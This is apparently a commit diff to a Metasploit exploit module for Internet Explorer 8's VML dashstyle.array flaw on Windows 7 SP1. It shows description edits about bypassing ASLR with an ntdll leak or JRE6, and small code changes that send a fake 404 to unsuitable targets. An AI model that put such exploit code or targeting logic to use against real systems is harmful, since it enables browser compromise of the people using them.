@@ -10,17 +10,6 @@ class Metasploit3 < Msf::Exploit::Remote
10
10
11
11
include Msf ::Exploit ::Remote ::BrowserExploitServer
12
12
include Msf ::Exploit ::RopDb
13
- #include Msf::Exploit::Remote::BrowserAutopwn
14
-
15
- #autopwn_info({
16
- # :ua_name => HttpClients::IE,
17
- # :ua_minver => "8.0",
18
- # :ua_maxver => "8.0",
19
- # :javascript => true,
20
- # :os_name => OperatingSystems::Match::WINDOWS,
21
- # :rank => Rank
22
- #})
23
-
24
13
25
14
def initialize ( info = { } )
26
15
super ( update_info ( info ,
@@ -30,15 +19,18 @@ def initialize(info={})
30
19
The vulnerability exists in the handling of the dashstyle.array length for vml
31
20
shapes on the vgx.dll module.
32
21
33
- This module has been built and tested specifically against Windows 7 SP1 with
22
+ The exploit has been built and tested specifically against Windows 7 SP1 with
34
23
Internet Explorer 8. It uses either JRE6 or an information leak (to ntdll) to
35
- bypass ASLR, and by default the info leak is used. The ntdll version should be
36
- either v6.1.7601.17514 (the default dll version on a newly installed/unpatched
37
- Windows 7 SP1), or ntdll.dll v6.1.7601.17725 (installed after apply MS12-001).
24
+ bypass ASLR, and by default the info leak is used. To make sure the leak is
25
+ successful, the ntdll version should be either v6.1.7601.17514 (the default dll
26
+ version on a newly installed/unpatched Windows 7 SP1), or ntdll.dll v6.1.7601.17725
27
+ (installed after apply MS12-001). If the target doesn't have the version the exploit
28
+ wants, it will refuse to attack by sending a fake 404 message (webpage not found).
38
29
39
30
If you wish to try the JRE6 component instead to bypass ASLR, you can set the
40
31
advanced datastore option to 'JRE6'. If JRE6 is chosen but the target doesn't
41
- have this particular component, the exploit will refuse the attack.
32
+ have this particular component, the exploit will also refuse to attack by
33
+ sending a 404 message.
42
34
} ,
43
35
'License' => MSF_LICENSE ,
44
36
'Author' =>
@@ -389,6 +381,7 @@ def on_request_exploit(cli, request, target_info)
389
381
rescue RuntimeError => e
390
382
# This one is just a warning, because it's a requirement check so it's not that scary.
391
383
print_warning ( e . message )
384
+ send_not_found ( cli )
392
385
return
393
386
end
394
387
@@ -421,7 +414,7 @@ def on_request_exploit(cli, request, target_info)
421
414
@ntdll_version = "6.1.7601.17725" # MS12-001
422
415
@ntdll_base = leak - 0x47090
423
416
else
424
- print_error ( "ntdll version not detected, sending 404: #{ agent } " )
417
+ print_warning ( "ntdll version not detected, sending 404: #{ agent } " )
425
418
send_not_found ( cli )
426
419
return
427
420
end
0 commit comments